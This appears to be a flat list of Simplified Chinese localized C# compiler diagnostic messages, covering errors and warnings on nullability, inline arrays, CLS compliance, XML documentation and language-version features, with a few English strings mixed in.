无法定义使用“dynamic”的类或成员,因为找不到编译器所需的类型“{0}”。是否缺少引用? + 修饰符 "abstract" 对于字段无效。请尝试改用属性。 + 复制构造函数“{0}”必须是公共的或受保护的,因为该记录未密封。 + 启用布尔值类型 + 表达式的结果总是“{0}”类型的“null” + 参数“{0}”类型中引用类型的为 Null 性与分部方法声明不匹配。 + CLSCompliant 特性在应用于返回类型时无意义 + 无法将 {0} 转换为预期委托类型,因为块中的某些返回类型不可隐式转换为委托返回类型 + 缺少对公共可见类型或成员“{0}”的 XML 注释 + 成员“{0}”实现类型“{2}”中的接口成员“{1}”。在运行时该接口成员有多个匹配项。此实现取决于将要调用的方法。 + 编译器在将错误重写为警告时发出此警告。有关该问题的信息,请搜索提到的错误代码。 + using 变量 + new() 约束必须是指定的最后一个约束 + “{0}”已列入类型“{2}”的接口列表中,其中包含不同的元组元素名称,例如“{1}”。 + 由于引用类型的可为 null 性差异,{0} 类型的实参不能用作 {3} 中 {1} 类型的形参 {2} 的输出。 + ref 字段 + 从未对字段“{0}”赋值,字段将一直保持其默认值 {1} + 友元程序集引用“{0}”无效。强名称签名的程序集必须在其 InternalsVisibleTo 声明中指定一个公钥。 + 类型不符合 CLS,因为基接口不符合 CLS + 类型“{1}”已定义了一个名为“{0}”的具有相同参数类型的成员 + <!-- Badly formed XML comment ignored for member "{0}" --> + 内联数组结构不得具有显式布局。 + 无法将不含参数列表的匿名方法块转换为委托类型“{0}”,原因是该方法块具有一个或多个 out 参数 + 参数“{0}”类型的为 Null 性与重写成员不匹配(可能是由于为 Null 性特性)。 + 特性“{0}”仅对方法或特性类有效 + 内联数组长度必须大于 0。 + 关键字 "void" 不能在此上下文中使用 + Switch 表达式不会处理一些 null 输入(它不是穷举)。例如,模式“{0}”未包含在内。但是,带有 "when" 子句的模式可能成功匹配此值。 + 对于元素字段为“ref”字段或类型无效的类型作为类型参数的内联数组类型,不支持“内联数组”语言功能。 + 命名空间“{1}”已经包含“{0}”的定义 + 项目: 不能为空 + 外部本地函数 + 应为标识符或数字参数。 + “{1}”上的 XML 注释中有“{0}”的 paramref 标记,但是没有该名称的参数 + 应输入可重载的一元运算符 + 这将按引用返回不是 ref 或 out 参数的参数“{0}”的成员 + 由于 "{0}" 是一个类型参数,无法在其中执行非虚拟成员查找 + 属性子模式需要引用要匹配的属性或字段,例如,"{{ Name: {0} }}" + 存储在“{1}”中的模块名“{0}”必须与其文件名匹配。 + 无法将 null 字面量转换为非 null 的引用类型。 + 由于“{0}”是引用封送类的字段,将它用作 ref 或 out 值或获取它的地址可能导致运行时异常 + 指定版本字符串 '{0}' 不符合建议格式 - major.minor.build.revision + 这将按引用返回不是 ref 或 out 参数的参数成员 + “{0}”: 数组元素不能是静态类型的 + 构造函数 + 编译中不包含 SyntaxTree,因此无法将其删除 + 无法确定条件表达式的类型,因为“{0}”和“{1}”之间没有隐式转换 + 无法为“{0}”赋值,因为它是“{1}” + 事件“{0}”只能出现在 += 或 -= 的左边(从类型“{1}”中使用时除外) + 属性或索引器“{0}”不能用在此上下文中,因为 set 访问器不可访问 + 参数 "{0}" 的 "scoped" 修饰符与目标 "{1}" 不匹配。 + {0} 不是有效的 C# 转换表达式 + 命名参数“{0}”指定的形参已被赋予位置参数 + 无法将方法组“{0}”转换为非委托类型“{1}”。是否希望调用此方法? + 对模块忽略 /win32manifest,因为它仅应用于程序集 + foreach 要求“{1}”的返回类型“{0}”必须具有适当的公共 MoveNext 方法和公共 Current 属性 + (与前一个警告相关的符号位置) + 数组初始值设定项只能在变量或字段初始值设定项中使用。请尝试改用 new 表达式。 + <null> + <文本> + 默认类型参数约束 + “{0}”和委托“{1}”之间引用不匹配 + “{0}”: 无法重写,因为“{1}”不是函数 + 隐式类型的局部变量 + 记录成员 '{0}' 必须为类型 '{1}' 的可读实例属性或字段,以匹配位置参数 '{2}'。 + “{0}”无法在类型 "{2}" 中实现接口成员 "{1}",因为目标运行时不支持默认接口实现。 + 内联数组结构必须声明一个且仅声明一个实例字段。 + 预定义类型“{0}”必须是一个结构。 + 内联数组访问可能没有命名参数说明符 + 隐式类型的数组 + 使用 Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier 或 Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier 可创建标识符标记。 + 关键字 \"delegate\" 不能用作约束。你的意思是 \"System.Delegate\" 吗? + “{0}”: using 语句中使用的类型必须可隐式转换为“System.IDisposable” + 可能非有意的引用比较;若要获取值比较,请将左边转换为类型“{0}” + 无效的秩说明符: 应为“,”或“]” + 属性访问器已经定义 + 无法使用数组初始值设定项初始化隐式类型化的变量 + 常量中有换行符 + 应为“警告”、“注释”或指令结束 + 无法创建分析器实例 + “{1}”不是迭代器接口类型,因此“{0}”体不能是迭代器块 + 指派给“{0}”的表达式必须是常量 + 不能在变量声明中指定数组大小(请尝试使用 "new" 表达式初始化) + 筛选器表达式是常量 “false”。 + “{0}”: 抽象事件不能有初始值设定项 + 导入了具有等效标识的多个程序集:“{0}”和“{1}”。请删除重复引用之一。 + “{0}”: using 语句中使用的类型必须可隐式转换为 "System.IDisposable"。是否希望使用 "await using" 而非 "using"? + “{0}”中的类型“{1}”与“{2}”中的命名空间“{3}”冲突 + 输入始终与提供的模式匹配。 + 参数“{0}”被捕获到封闭类型的状态,其值也用于初始化字段、属性或事件。 + CallerLineNumberAttribute 将不起任何作用,因为它适用于不允许可选参数的上下文中使用的成员 + 应输入类型 + 位置必须处于语法树范围内。 + 模块初始值设定项 + 表达式树不能包含多维数组初始值 + 目标运行时不支持可扩展或运行时环境默认调用约定。 + 应用于 lambda 参数时,InterpolatedStringHandlerArgument 不起任何作用,并将在调用站点被忽略。 + 接口不能包含实例字段 + “{0}”已初始化为不能通过引用返回的值,因此无法通过引用返回 + 全局 using 指令必须位于所有非全局 using 指令之前。 + 意外使用了别名 + 参数数组不能与“this”修饰符一起在扩展方法中使用 + 需要动态调度对方法“{0}”的调用,但无法实现,因为该调用是基访问表达式的一部分。请考虑强制转换动态参数或消除基访问。 + 在将控件返回给调用方之前,必须完全分配自动实现的属性。请考虑更新语言版本以自动默认属性。 + “{0}”: 类型不能既是静态的又是密封的 + '{0}' 的部分声明必须为所有类、所有记录、所有结构、所有记录结构或所有接口 + 扩展 GetEnumerator + 类型名称 "{0}" 仅包含小写 ascii 字符。此类名称可能会成为该语言的保留值。 + 符合 CLS 的字段“{0}”不能是可变字段 + “{0}”的此版本无法与集合表达式一起使用。 + 应为上下文关键字 "equals" + '不再支持 "id #" 语法。应使用 "$id"。 + 提供的行数和字符数不引用标记“{0}”的开头。你是否想要使用行“{1}”和字符“{2}”? + 程序的入口点是全局代码;将忽略此入口点 + “{1}”的参数“{0}”类型中引用类型的为 Null 性与隐式实现的成员“{2}”不匹配。 + 字段从未使用过 + 可以多次释放对象“{0}”。 + 表达式树不能包含元组 == 或 != 运算符 + “{0}”未实现接口成员“{1}”。“{2}”无法实现“{1}”,因为它与引用返回不匹配。 + “{0}”不能作为函数指针参数上的修饰符使用。 + 只能通过局部变量或字段访问固定大小缓冲区 + “{1}”上的 XML 注释中有“{0}”的 typeparamref 标记,但是没有该名称的类型参数 + 在接口 "{0}" 中声明的相等或不相等运算符的参数之一必须是 "{0}" 上的类型参数,限制为 "{0}" + 原始字符串字面量 + 目标类型的条件表达式 + 异步方法生成器替代 + 在 cref 特性中,应限定泛型类型的嵌套类型 + 表达式树可能不包含命名参数规范 + /target 的目标类型无效: 必须指定“exe”、“winexe”、“library”或“module” + 无法对静态只读字段赋值(静态构造函数或变量初始值中除外) + 无法使用实例引用来访问成员“{0}”;请改用类型名来限定它 + 对局部变量的赋值可能不正确,该变量是 using 或 lock 语句的参数 + 除非包含类型已过时或所有构造函数已过时,否则不应将所需的成员'{0}'归属于 'ObsoleteAttribute'。 + 静态匿名函数不能包含对“{0}”的引用。 + 控制流不能从 finally 子句中离开 + 参数“{0}”捕获到封闭类型状态,其值也传递给基构造函数。该值也可能由基类捕获。 + 语法节点不在语法树中 + 通过引用返回只能在通过引用返回的方法中使用 + 可能返回 null 引用。 + 类型“{3}”不能用作泛型类型或方法“{0}”中的类型参数“{2}”。类型参数“{3}”的为 Null 性与约束类型“{1}”不匹配。 + 给定的表达式始终与提供的模式匹配。 + 不能将类型“{0}”声明为 const + 不比较函数指针值 + 异步方法不能使用 ref、in 或 out 参数 + 控件无法从最终用例标签(“{0}”)脱离开关 + “{0}”的 using 指令以前在此命名空间中出现过 + 属性、索引器或事件“{0}”不受现用语言支持;请尝试直接调用访问器方法“{1}” + 属性、索引器或事件“{0}”不受现用语言支持;请尝试直接调用访问器方法“{1}”或“{2}” + “{0}”: 不允许进行以接口为转换源或目标用户定义转换 + 不要在使用 refonly 时使用 refout。 + 不能在匿名方法、lambda 表达式、查询表达式或本地函数中使用 ref、out 或 in 参数“{0}” + 表达式的结果总是 "null" + 未能发出模块“{0}”: {1} + throw 表达式 + 方法“{0}”无法实现类型“{2}”的接口访问器“{1}” 请使用显式接口实现。 + 本地函数特性 + 别名“{0}”与 {1} 定义冲突 + “{0}”未包含“{1}”的定义 + 整数常量太大 + 无法找到文件。 + 此上下文中不允许使用声明。 + 返回入口点的 void 或 int 不能是异步的 + XML 注释中有 typeparamref 标记,但是没有该名称的类型参数 + 本地名称对于 PDB 太长 + Guid 特性必须用 ComImport 特性指定 + 参数“{0}”类型中引用类型的为 Null 性与重写成员不匹配。 + 无法在包含 catch 子句的 Try 块体中生成值 + 显式接口实现与多个接口成员匹配 + 如果生成模块或库,则无法指定 /main + 无法在异步 foreach 中使用动态类型集合 + 返回类型中引用类型的为 Null 性与隐式实现的成员不匹配。 + 类型仅用于评估,在将来的更新中可能会被更改或删除。取消此诊断以继续。 + 静态匿名函数 + 应使用 “ref” 或 “in” 传递参数 {0} 关键字 (keyword) + 在源类型为“{1}”的查询表达式中,不允许在后面的 from 子句中使用类型“{0}”的表达式。在对“{2}”的调用中,类型推理失败。 + 空传播运算符 + 程序集“{0}”和“{1}”引用相同元数据,但是只有一个是链接引用(使用 /link 选项指定);请考虑删除其中一个引用。 + 协变返回 + 协变 + 意外的参数列表。 + 记录中不允许使用名为 "Clone" 的成员。 + 固定大小缓冲区字段只能是结构的成员 + 表达式树不能包含元组转换。 + 行开头的空格与原始字符串字面量的右行不相同。 + 接口中的静态抽象成员 + 无法读取配置文件“{0}”--“{1}” + 无法通过对隐式索引索引器的调用为参数命名。 + 异步 lambda 表达式无法转换为表达式树 + 类型参数“{1}”具有 "struct" 约束,因此“{1}”不能用作“{0}”的约束 + "nameof" 中的实例成员 + 预定义类型“{0}”未定义或导入 + 操作可能在运行时溢出“{0}”(请使用“unchecked”语法替代) + 可能的 null 值不能用于标记为 [NotNull] 或 [DisallowNull] 的类型 + "Init" 访问器对静态成员无效 + 类型参数不能是 null + 外部别名声明必须位于命名空间中定义的所有其他元素之前 + 选项“{0}”对 /platform 无效;必须是 anycpu、x86、Itanium、arm、arm64 或 x64 + “{0}”特性的参数必须是有效的标识符 + ref for 循环变量 + 应用于参数“{0}”的 CallerMemberNameAttribute 将不起任何作用。它由 CallerFilePathAttribute 重写。 + 只能通过可隐式转换为 "int"、"System.Index" 或 "System.Range" 的单个参数访问内联数组类型的元素。 + 可访问性不一致: 返回类型“{1}”的可访问性低于委托“{0}” + 安全特性“{0}”不可应用于异步方法。 + 程序集和模块特性必须位于文件中定义的所有其他元素之前(using 子句和外部别名声明除外) + 类型不能在此上下文中使用,因为它不能在元数据中表示。 + 由于使用间接程序集引用,因此创建了对嵌入互操作程序集的引用 + 结构成员按引用返回“此”或其他实例成员 + 非托管类型“{0}”仅对字段有效。 + 无法确定输出目录 + 多行原始字符串字面量必须至少包含一行内容。 + “is”或“as”运算符的第二个操作数不能是静态类型“{0}” + 重载的一元运算符“{0}”采用一个参数 + 对象创建中不能使用不安全的类型“{0}” + 提供给 InterceptsLocationAttribute 的行数和字符数必须为正数。 + switch governing 表达式的周围需要括号。 + 使用了未赋值的 out 参数“{0}” + 逆变 + 参数“{0}”未读。 + Conditional 特性在接口成员上无效 + 无法修改取消装箱转换的结果 + ref 和 out 参数在此上下文中无效 + 结束标记“{0}”与开始标记“{1}”不匹配。 + fixed 语句赋值的右边不能是强制转换表达式 + ref 扩展方法 + 无法修改只读字段“{0}”的成员(在构造函数或变量初始值设定项中除外) + 假定“{1}”使用的程序集引用“{0}”与“{3}”的标识“{2}”匹配,您可能需要提供运行时策略 + 用作 == 或 != 运算符的操作数的元组类型必须具有匹配的基数。但此运算符的基数的元组类型左侧为 {0},右侧为 {1}。 + SecurityAction 值“{0}”对于应用于程序集的安全特性无效 + “{0}”不替代 "object" 中的预期方法。 + 范围变量“{0}”与“{0}”的以前声明冲突 + 扩展 GetAsyncEnumerator + 类型“{2}”必须是不可为 null 值的类型,且包括任何嵌套级别的所有字段,才能用作泛型类型或方法“{0}”中的参数“{1}” + 未能找到类型或命名空间名“{0}”(是否缺少 using 指令或程序集引用?) + 应为上下文关键字 "on" + 应为上下文关键字 "by" + 类型“{3}”不能用作泛型类型或方法“{0}”中的类型参数“{2}”。没有从“{3}”到“{1}”的装箱转换。 + 扩展方法必须是静态的 + XML 注释的 cref 特性中的返回类型无效 + “{0}”已过时:“{1}” + 程序集 {0} 不包含任何分析器。 + async-iterator 方法的主体必须包含 "yield" 语句。 + 协变式 + 由于程序集“{1}”创建了对嵌入互操作程序集“{0}”的间接引用,因此创建了对该程序集的引用。请考虑更改其中一个程序集的“嵌入互操作类型”属性。 + 源文件已超过在 PDB 中可表示的 16,707,565 行的限制;调试信息将不正确 + 集合 + 不要使用“System.Runtime.CompilerServices.DynamicAttribute”。请改用“dynamic”关键字。 + '由于程序集没有 CLSCompliant 特性,因此不能将“{0}”标记为符合 CLS + 无法将“{1}”ref 分配给“{0}”,因为“{1}”只能通过 return 语句对当前方法进行转义。 + 提供的语言版本不受支持或无效:“{0}”。 + 应是表达式或声明语句。 + 参数 "{0}" 的 "scoped" 修饰符与部分方法声明不匹配。 + 无法为属性或索引器“{0}”赋值 - 它是只读的 + 方法、委托或函数指针的返回类型不能是“{0}” + 应为标识符或简单成员访问权限。 + 这将按引用返回本地“{0}”,但它不是 ref 本地 + 已多次指定分析器引用 + 分部方法声明在对类型参数的约束中具有不一致的为 Null 性 + 可访问性不一致: 字段类型“{1}”的可访问性低于字段“{0}” + 要使用 /pdb 选项,必须同时使用 /debug 选项 + '"is" 表达式的给定表达式始终是所提供的类型 + 不能在命名空间声明中使用全局 using 指令。 + #pragma + 类型“{0}”必须是公共的,才能用作调用约定。 + 必需的成员 '{0}' 必须可设置。 + 每个链接资源和模块必须具有唯一的文件名。在此程序集中多次指定了文件名 {0} + 在对已分配实例的所有引用超出范围之前,对它调用 System.IDisposable.Dispose() + 不能在属性或索引器 "{0}" 的两个访问器上指定 "readonly" 修饰符。而应在属性本身上指定 "readonly" 修饰符。 + 属性访问器已过时 + 内插字符串处理程序方法“{0}”具有不一致的返回类型。预期返回“{1}”。 + 表达式树 lambda 不能包含参数中省略 ref 的 COM 调用 + params 参数不能声明为 {0} + 在 foreach 语句中,类型和标识符都是必需的 + 参数 {0}: 无法从“{1}”转换为“{2}” + 命名参数规范必须出现在所有固定参数都已指定完毕后。请使用语言版本 {0} 或更高版本,以允许非尾随命名参数。 + 字符串必须以引号字符开头: " + 方法“{1}”的类型参数“{0}”的约束必须与接口方法“{3}”的类型参数“{2}”的约束相匹配。请考虑改用显式接口实现。 + 无法通过引用返回范围变量“{0}” + 类型中引用类型的为 Null 性与实现的成员“{0}”不匹配。 + 迭代器中不能出现不安全的代码 + 侦听器不能用 "UnmanagedCallersOnlyAttribute" 标记。 + 不能在可为 null 的引用类型上使用 typeof 运算符 + __arglist 构造只在变量参数方法中有效 + 无法确定条件表达式的类型,因为“{0}”和“{1}”可相互隐式转换 + 可能的 null 值不能用于标记为 [NotNull] 或 [DisallowNull] 的类型 + 内插字符串处理程序 + "new" 不能与元组类型共同使用。请改用元组字面量表达式。 + 意外标记“{0}” + 表达式必须为与替代 ref 值相匹配的类型“{0}” + 在此上下文中,无法使用在顶级语句中声明的局部变量或本地函数“{0}”。 + “{0}”: 无法从密封类型“{1}”派生 + 与 “in” 参数对应的参数 {0} 的 “ref” 修饰符等效于 “in”。请考虑改用 “in”。 + 嵌套表达式中的 stackalloc + 调试入口点必须是当前编译中声明的方法的定义。 + 在分部结构的多个声明中的字段之间没有已定义的排序方式 + 假定“{1}”使用的程序集引用“{0}”与“{3}”的标识“{2}”匹配,您可能需要提供运行时策略 + 返回类型中引用类型的为 Null 性与实现的成员不匹配。 + 无法将方法组转换为函数指针(是否缺少 "&"?) + XML 注释中有“{0}”的 typeparam 标记,但是没有该名称的类型参数 + 必须指定特性参数“{0}”或“{1}”。 + 必须指定特性参数“{0}”。 + expression-bodied 方法 + 无法使用实例成员内具有 ref-like 类型的主构造函数参数 “{0}” + CallerFilePathAttribute 将不起作用,因为它应用到的成员在不允许使用可选参数的上下文中使用 + 无法在使用 /refout 或 /refonly 时编译 Net 模块。 + 类型“{3}”不能用作泛型类型或方法“{0}”中的类型参数“{2}”。可以为 null 的类型“{3}”不满足“{1}”的约束。可以为 null 的类型不能满足任何接口约束。 + 所包含的注释文件中有格式错误的 XML + 命名空间“{1}”包含与别名“{0}”冲突的定义 + 无效的程序集名称: {0} + 表达式树不能包含放弃。 + "not" 模式 + Argument should be passed with the 'in' keyword + 使用 "is" 测试与 "dynamic" 的兼容性和测试与 "object" 的兼容性实质上是相同的 + 分部方法“{0}”必须具有实现部分,因为它具有可访问性修饰符。 + “using namespace”指令只能应用于命名空间;“{0}”是一个类型而不是命名空间。请考虑改用“using static”指令 + 无法将只读字段“{0}”的成员用作 ref 或 out 值(构造函数中除外) + 命令行语法错误: Guid 格式“{0}”对于选项“{1}”无效 + 请勿使用 "_" 引用 is-type 表达式中的类型。 + 默认字面量“default”不能作为模式使用。请使用其他更适合的字面量(如“0”或“null”)。若要匹配任何输入,请使用放弃模式“_”。 + 在 cref 特性中,应限定泛型类型的嵌套类型。 + CallerLineNumberAttribute 只能应用于具有默认值的参数 + 由于“{1}”类型的值永不等于“{2}”类型的 "null",该表达式的结果始终为“{0}” + 无法从迭代器返回值。请使用 yield return 语句返回值,或使用 yield break 语句结束迭代。 + 生成器无法生成源。 + 应为 disable 或 restore + 选项“{0}”必须是绝对路径。 + 版本 {0} 对于 /subsystemversion 无效。对于 ARM 或 AppContainerExe,此版本必须是 6.02 或更高,其他情况下必须为 4.00 或更高 + 初始值设定项成员声明符无效 + 枚举泛型类型约束 + 路径映射选项的格式不正确。 + 固定大小的缓冲区类型必须为下列类型之一: bool、byte、short、int、long、char、sbyte、ushort、uint、ulong、float 或 double + 不允许使用“{0}”的这种参数组合,因为它可能会在其声明范围之外公开由参数 {1} 引用的变量 + 常量值“{0}”无法转换为“{1}” + 参数 {0} 不可与关键字“{1}”一起传递 + 属性或索引器“{0}”不能用在此上下文中,因为 get 访问器不可访问 + 本地函数 + Ref 返回属性是必需的。 + 元组 + 外部别名 + 无效的 XML 包含元素 -- {0} + 可以为 null 的类型参数必须已知为值类型或不可以为 null 的引用类型,除非使用了语言版本“{0}”或更高版本。请考虑更改语言版本或添加 "class"、"struct" 或类型约束。 + 对齐值具有可能产生较大的格式化字符串的度量值 + 表达式树不能包含内联数组访问或转换 + 捕获或抛出的值的类型必须从 System.Exception 派生 + 未指定源文件 + 指定公共签名时,将忽略特性“{0}”。 + 长度为 {0}、类型为“{1}”的固定大小缓冲区太大 + “{0}”无法实现“{1}”,因为该语言不支持它 + 功能“{0}”在 C# 8.0 中不可用。请使用语言版本 {1} 或更高版本。 + 功能“{0}”在 C# 9.0 中不可用。请使用语言版本 {1} 或更高版本。 + 功能“{0}”在 C# 2 中不可用。请使用 {1} 或更高的语言版本。 + 功能“{0}”在 C# 3 中不可用。请使用 {1} 或更高的语言版本。 + 功能“{0}”在 C# 1 中不可用。请使用 {1} 或更高的语言版本。 + 功能“{0}”在 C# 6 中不可用。请使用 {1} 或更高的语言版本。 + C# 7.0 中不支持功能“{0}”。请使用 {1} 或更高的语言版本。 + 功能“{0}”在 C# 4 中不可用。请使用 {1} 或更高的语言版本。 + 功能“{0}”在 C# 5 中不可用。请使用 {1} 或更高的语言版本。 + 方法 "{0}" 为类型参数 "{1}" 指定了 "struct" 约束,但重写的或显式实现的方法 "{3}" 的相应类型参数 "{2}" 不是不可为 null 的值类型。 + /LIB 选项 + Conditional 特性在“{0}”上无效,因为其返回类型不是 void + 侦听器不能具有 "this" 参数,因为“{0}”没有 "this" 参数。 + 类型模式 + 无法在异步方法或异步 lambda 表达式中使用类型为“{0}”的 using 语句资源。 + DllImport 特性不能应用于属于泛型类型的方法,或者包含在泛型方法/类型中。 + 参数结构构造函数必须是“public”。 + 使用了未赋值的局部变量“{0}” + 非引用返回属性或索引器不能用作 out 或 ref 值 + 成员在运行时使用多个重写候选项重写基成员 + “{0}”是一个“{1}”,无法通过引用返回 + 跳过加载分析器程序集中因 ReflectionTypeLoadException 而失败的类型 + 内联数组元素字段不能声明为必需、只读、易失或为固定大小缓冲区。 + 不应返回标记为 [DoesNotReturn] 的方法。 + 只有一个编译单元可具有顶级语句。 + 不能在异步方法或异步 lambda 表达式中声明类型“{0}”的参数或局部变量。 + 没有为分部方法“{0}”的实现声明找到定义声明 + 默认接口实现 + 对类型“{0}”的引用声称在此程序集中定义了该类型,但源代码或任何添加的模块中并未定义该类型 + 无法为友元程序集名称传递 null + 指定的默认值将不起任何作用,因为它适用于不允许可选参数的上下文中使用的成员 + 由于参数为非 null,因此返回值必须为非 null。 + 空的 switch 块 + “{0}”: 抽象类型不能是密封的或静态的 + 引入 "Finalize" 方法可能会妨碍析构函数调用 + 在分配“this”对象的所有字段之前,无法使用该对象。请考虑更新到语言版本 '{0}' 以自动默认未分配的字段。 + 不允许使用 \"@\" 字符的序列。逐字字符串或标识符只能有一个 \"@\" 字符,原始字符串不能包含任何字符。 + 源文件只能包含一个文件范围内的命名空间声明。 + 给定的表达式始终与提供的模式匹配。 + 必须在 fixed 或者 using 语句声明中提供初始值设定项 + ++ 或 -- 运算符的返回类型必须与参数类型匹配或从参数类型派生 + 变型无效: 类型参数“{1}”必须是在“{0}”上有效的 {3}。“{1}”为 {2}。 + 所需成员不在脚本或提交的顶层受允许。 + “{0}”: 不允许对动态类型执行用户定义的转换 + AppConfigPath 必须是绝对的。 + 语言版本 {0} 中不支持自动属性的字段针对特性。请使用 {1} 或更高的语言版本。 + “{0}”: 抽象事件不可使用事件访问器语法 + 不可在多个参数上使用 [EnumeratorCancellation] 属性 + 在此上下文中使用“{0}”的结果成员可能会在变量声明范围以外公开由参数“{1}”引用的变量 + 应用于参数“{0}”的 CallerFilePathAttribute 将不起任何作用。它由 CallerLineNumberAttribute 重写。 + 空语句可能有错误 + Lambda 属性 + 无法将具有属性的 lambda 表达式转换为表达式树 + 类型“{3}”不能用作泛型类型或方法“{0}”中的类型参数“{2}”。没有从“{3}”到“{1}”的装箱转换或类型参数转换。 + 所包含的注释文件中有格式错误的 XML --“{0}” + 关系模式可能不能用于浮点 NaN。 + 自动实现的属性必须覆盖被覆盖属性的所有访问器。 + 关键字 \"enum\" 不能用作约束。你的意思是 \"struct, System.Enum\" 吗? + 子表达式不能在 nameof 的参数中使用。 + ref 条件运算符的分支不能引用具有不兼容声明范围的变量 + 固定大小缓冲区字段的字段名称后必须带有数组大小说明符 + 函数指针 + #warning 指令 + “{0}”方法没有采用 {1} 个参数的重载 + 无法将带 [] 的索引应用于“{0}”类型的表达式 + #line 指令值缺失或超出范围 + Attribute parameter 'SizeConst' must be specified. + “{0}”不是有效的约束。作为约束使用的类型必须是接口、非密封类或类型参数。 + cref 特性中有不明确的引用:“{0}”。假定为“{1}”,但可能还与其他重载匹配,包括“{2}”。 + 类“{0}”不能具有多个基类:“{1}”和“{2}” + “{0}”重写 Object.Equals(object o) 但不重写 Object.GetHashCode() + 侦听器不能具有 "null" 文件路径。 + 不需要的 using 指令。 + Could not find an accessible '{0}' method with the expected signature: a static method with a single parameter of type 'ReadOnlySpan<{1}>' and return type '{2}'. + 当前上下文中不存在名称“{0}” + 没有要中断或继续的封闭循环 + 显式接口实现“{0}”与多个接口成员匹配。实际选择哪个接口成员取决于具体的实现。请考虑改用非显式实现。 + 参数“{0}”类型中引用类型的为 Null 性与实现的成员“{1}”不匹配(可能是由于为 Null 性特性)。 + 引用未定义的实体“{0}”。 + XML 注释出现 XML 格式错误 --“{0}” + 通过引用返回的属性必须有 get 访问器 + 不应要求使用 'ObsoleteAttribute' 特性化的成员,除非包含类型已过时或所有构造函数已过时。 + 可访问性不一致: 基接口“{1}”的可访问性低于接口“{0}” + 表达式树不能包含匿名方法表达式 + lambda 表达式 + 参数捕获到封闭类型状态,其值也传递给基构造函数。该值也可能由基类捕获。 + 应输入类型、命名空间定义或文件尾 + 字符串未终止 + 约束类型无效。作为约束使用的类型必须是接口、非密封类或类型形参。 + “is”或“as”运算符的第二个操作数不能是静态类型 + 由于类型的默认值为 null,因此表达式总会导致 System.NullReferenceException + UnscopedRefAttribute 无法应用于接口实现。 + "is" 和 "as" 在指针类型上都无效 + 类型参数与外部类型中的类型参数同名 + 原始字符串字面量的引号不足。 + “{0}”: 符合 CLS 的接口必须仅有符合 CLS 的成员 + 无法将匿名方法表达式转换为表达式树 + 多次指定源文件 + 注释中使用的语法不正确。 + 表达式 lambda 中的集合初始值设定项不支持扩展 Add 方法。 + “{0}”特性仅在不是显式接口成员声明的索引器上有效 + “{0}”不是特性类 + 类型不能用作泛型类型或方法中的类型参数。类型参数的为 Null 性与 "notnull" 约束不匹配。 + 无法在常量表达式中使用匿名类型 + 表达式和语句只能在方法主体中出现 + “{0}”类型对于 "using static" 无效。只能使用类、结构、接口、枚举、委托或命名空间。 + “{0}”的类型不符合 CLS + 运算符 "{0}" 对操作数 "{1}" 和 "{2}" 不明确 + 参数类型“{0}”不符合 CLS + params 参数必须是一维数组 + 程序的入口点是全局代码;将忽略“{0}”入口点。 + 无法调用抽象基成员:“{0}” + 无法将 null 转换为类型参数“{0}”,因为它可能是不可为 null 的值类型。请考虑改用“default({0})”。 + 功能不是标准化 ISO C# 语言规范的一部分,其他编译器可能不接受它 + 不可在表达式树中使用方法组上的 "&" + fixed 语句中声明的局部变量类型不能是函数指针类型。 + 给定 {0} 个参数类型和 {1} 个参数引用类型。这些数组必须具有相同的长度。 + 局部变量“{0}”不是 ref 局部变量,无法通过引用返回其成员 + 在退出构造函数时,不可为 null 的字段必须包含非 null 值。请考虑声明为可以为 null。 + “{0}”没有基类,无法调用基构造函数 + 与“{0}”最匹配的重载方法具有对于初始值设定项元素而言错误的签名。可初始化的 Add 必须是可访问的实例方法。 + 指定了公共签名并需要公钥,但未指定公钥。 + 参数类型中引用类型的为 Null 性与隐式实现的成员不匹配(可能是由于为 Null 性特性)。 + 返回类型中引用类型的为 Null 性与实现的成员“{0}”不匹配(可能是由于为 Null 性特性)。 + 应输入 ) + 未能找到源文件“{0}”。 + 属性 + 无效的 {0} 值: C# {2} 的“{1}”。请使用语言版本 {3} 或更高版本。 + “{0}”是只读的,无法通过引用返回 + 不可将具有接收器的扩展方法用作 "&" 运算符的目标。 + 应用于参数“{0}”的 CallerArgumentExpressionAttribute 将不起任何作用。它由 CallerFilePathAttribute 替代。 + 转换为 void 返回委托的匿名函数不能返回值 + 在模式中使用类型“动态”是不合法的。 + 不能将 {0} '{1}' 作为 ref 或 out 值使用,因为它是只读变量 + 无法直接调用析构函数和 object.Finalize。如果可用,请考虑调用 IDisposable.Dispose。 + “{0}”无法在类型“{1}”中实现接口成员“{2}”,因为目标运行时不支持接口中的静态抽象成员。 + 无法使用侦听器“{1}”截获方法“{0}”,因为签名不匹配。 + 字符字面量中的字符太多 + 编译中不包含 SyntaxTree + 提供了不同的 #pragma 校验和值 + SecurityAction 值“{0}”对于 PrincipalPermission 特性无效 + 错误的数组声明符: 要声明托管数组,秩说明符应位于变量标识符之前。要声明固定大小缓冲区字段,应在字段类型之前使用 fixed 关键字。 + “{0}”的分部声明必须具有相同类型的参数名和变型修饰符,同时顺序也必须相同 + “{0}”无法从特殊类“{1}”派生 + 由于 "{0}" 是返回 "{1}" 的异步方法,因此返回关键字不得后跟对象表达式 + “{0}”是只读的,无法用作 ref 或 out 值 + 对象或集合初始值设定项会隐式解引用可能为 null 的成员“{0}”。 + 未能找到源类型“{0}”的查询模式的实现。未找到“{1}”。 + CallerMemberNameAttribute 只能应用于具有默认值的参数 + 类型与导入命名空间冲突 + XML 注释中有“{0}”的 param 标记,但是没有该名称的参数 + 类型参数与外部方法中的类型参数有相同的类型。 + 未显式提供参数“{0}”,它用作参数“{1}”上的内插字符串处理程序转换的参数。请在“{1}”之前指定“{0}”的值。 + 缺少对公共可见类型或成员的 XML 注释 + 包含类型“{1}”的程序集“{0}”引用了 .NET Framework,而此操作不受支持。 + 与整数常量比较无意义;该常量不在类型的范围之内 + 类型不能用作泛型类型或方法中的类型参数。类型参数的为 Null 性与约束类型不匹配。 + 类型定义运算符 == 或运算符 !=,但不重写 Object.GetHashCode() + 将忽略特性,以便支持源中出现的实例 + 无法打开源文件“{0}”-- {1} + 特性“{0}”对此声明类型无效。它仅对“{1}”声明有效。 + 表达式树可能不包含空的合并赋值 + 无法在此范围中声明名为“{0}”的局部变量或参数,因为该名称在封闭局部范围中用于定义局部变量或参数 + “{0}”的类型为“{1}”。只能用 Null 对引用类型(字符串除外)的默认参数值进行初始化 + 无法嵌入来自程序集“{0}”的互操作类型,因为它缺少“{1}”特性或“{2}”特性。 + “{1}”的参数“{0}”类型中引用类型的为 Null 